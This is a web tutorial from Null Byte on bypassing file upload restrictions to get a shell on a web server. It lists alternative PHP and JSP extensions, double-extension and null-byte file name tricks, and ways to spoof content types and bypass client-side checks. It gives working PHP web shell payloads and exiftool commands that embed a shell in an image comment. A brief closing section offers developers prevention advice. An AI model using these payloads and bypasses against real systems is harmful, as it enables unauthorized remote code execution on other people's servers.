How to Bypass File Upload Restrictions on Web Apps to Get a Shell « Null Byte :: WonderHowTo

One of the most promising avenues of attack in a web application is the file upload. With results ranging from XSS to full-blown code execution, file uploads are an attractive target for hackers. There are usually restrictions in place that can make it challenging to execute an attack, but there are various techniques a hacker could use to beat file upload restrictions to get a shell.Method 1: Bypassing BlacklistsThe first method we'll explore is how to bypass blacklisting. Blacklisting is a type of protection where certain strings of data, in this case, specific extensions, are explicitly prohibited from being sent to theserver. At first glance, it might seem like an optimal solution to prevent bad extensions, oftenexecutables, from being uploaded, but it is trivial to bypass.Don't Miss:How to Compromise a Web Server & Upload Files to Check for Privilege EscalationIn addition to the regular extensions, there are alternative extensions that can be used to get around blacklist filters. Here are some extensions forPHP files:.pht, .phtml, .php3, .php4, .php5, .php6, .incAnother popular extension forweb shellsisJSP, and here are some alternatives:.jspx, .jspf, .jsw, .jsvIn some situations, simply changing the case of the extension can trick filters into accepting the file, like so:.pHp, .Php, .phPMethod 2: Bypassing WhitelistsAnother type of prevention commonly encountered on thewebis whitelisting. Whitelisting is precisely the opposite of blacklisting, where the server accepts only specific extensions. For example, an application that allows you to upload aprofile picturemight only take JPG, JPEG, or PNG files. While this type of prevention is better than blacklisting, it can still be easily bypassed.Some web servers, such asApache, allow files with double extensions. That means we can trick the server into accepting a PHP file that also has a JPG extension tacked on the end:shell.php.jpgWe can also use anull byteinjection to bypass whitelist filters. Anything after the null character will be ignored when the file is saved, so injecting between a forbidden extension and an allowed extension can lead to a bypass:shell.php%00.jpgOr:shell.php\x00.jpgThis can also be accomplished withBurpand modifying the hex request. Name the fileshell.phpD.jpg— we'll replace theDcharacter with a null character during the request. When uploading the file, intercept the request, go to the hex tab, and find the hex representation of theDcharacter:Simply replace the44with00and send the request through:This technique can be used in tricky situations where the standard null byte injection won't work.Another way to beat whitelisting is to fool the server with file type headers. Usually, if an upload function accepts images, it will accept GIF files as well. We can addGIF89a;to the beginning of the shell to trick the upload:GIF89a; <?php system($_GET['cmd']); ?>Method 3: Exif DataThe next method to bypass file upload restrictions utilizesExif data in an image. We can insert a comment that contains validPHP codethat will be executed by the server when the image is processed.We can useexiftoolto do this — if it is not installed already, install it with thepackage manager:~# apt install exiftoolThen we can insert a simplecommand shellas a comment in our pic:~# exiftool -Comment="<?php system($_GET['cmd']); ?>" pic.jpgNow if we use thefilecommand on our pic, we can see the code was successfully inserted:~# file pic.jpg

pic.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "<?php system(['cmd']); ?>", baseline, precision 8, 1920x840, components 3All we have to do now is add a PHP extension so it can be executed:~# mv pic.jpg pic.php.jpgThis technique can be combined with any of the approaches to bypass blacklists or whitelists.Method 4: Other Bypass TechniquesSometimes, the only thing preventing individual files from being uploaded is client-sideJavaScript. If the upload function still works without it, simply turning offJavaScriptin the browser can sometimes beat restrictions. If that doesn't work, intercepting the request and changing the file extension can easily bypass client-side filters.The content type of a file can also be used as a way to validate uploaded content. For example, an image upload will usually check that the content type of the file is an image, not a script or other malicious file type. This type of prevention can easily be bypassed byintercepting the request and changing the content type.In some situations, the length of the content can also be used to validate uploaded files. It will depend on the specific circumstances, but often all that's needed is a shorter payload. For example, a typical PHP command shell can be shortened to this:<?=`$_GET[x]`?>Preventing Unrestricted File UploadsSeveral precautions developers can take to prevent unrestricted file uploads and reduce the likelihood of an attacker bypassing restrictions. First and foremost, thedirectorywhere the uploads are stored should have no execute permissions. Consider storing files in adatabaserather than on the filesystem at all.File types to be uploaded should be limited to the bare minimum for necessary business functionality. Also, any control characters or special characters should be stripped from the uploaded file name and extension, and only one dot should be permitted. Also, the size should be limited as multiple large files can lead to denial of service.After a file is uploaded, the name should be changed, ideally, to ahashthat cannot be guessed. This will prevent attackers from being able to find their file after it is uploaded. It is also wise to prevent files from being overwritten, so hashes cannot be deduced by an attacker.Wrapping UpIn this tutorial, we covered various methods to get around common file upload restrictions. We learned how to bypass blacklist filters, whitelist filters, content validation, and more. File uploads, if they can be beaten, are a surefire path to shell.Don't Miss:How to Obtain Valuable Data from Images Using Exif ExtractorsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMaksym Kaharlytskyi/Unsplash; Screenshots by drd_/Null ByteRelatedHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Bypass Candy Crush Saga's Waiting Period to Get New Lives & Levels ImmediatelyHow To:Bypass File Upload Restrictions Using Burp SuiteHow To:Beat LFI Restrictions with Advanced TechniquesHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:The Easiest Way to Transfer Files to Others with Your Web BrowserHow To:Get Around Vine's Time Restriction and Upload Videos Longer Than 6 SecondsHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 1How To:Install Snapchat on a Nexus 7 or Any Other Android TabletHow To:Exploit PHP File Inclusion in Web AppsHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:Stream Netflix, Hulu, and Pandora from Anywhere in the World with Media HintHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Upload Your eBook Collection to Your Nexus 7 Tablet Using Google Play BooksHow To:Hack a remote Internet browser with XSS ShellHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Exploit Remote File Inclusion to Get a ShellNews:How Google Forcing Apps to Target Oreo Will Help with Android's Malware ProblemHow To:Sideload Apps on the Nexus PlayerHack Like a Pro:Using TFTP to Install Malicious Software on the TargetHow To:Bypass Common Windows Restrictions, Activate God Mode, and MoreHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:How-To-Use Facebook To Host your blog/website Images And Get Unlimited BandwidthNews:Rigging A Blue CrabNews:Windows Live SkyDriveNews:The 5 Best iPhone/iPad Apps for Exporting and Importing Your PhotosNews:Change from BASH to zshHow To:Get the 'For Whom the Shell Tolls' Achievement in Modern Warfare 3News:Reconnect to Victim's System SuccessNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreApple's iCloud:What You Should KnowHow To:Push and Pull Remote Files Securely Over SSH with Pipes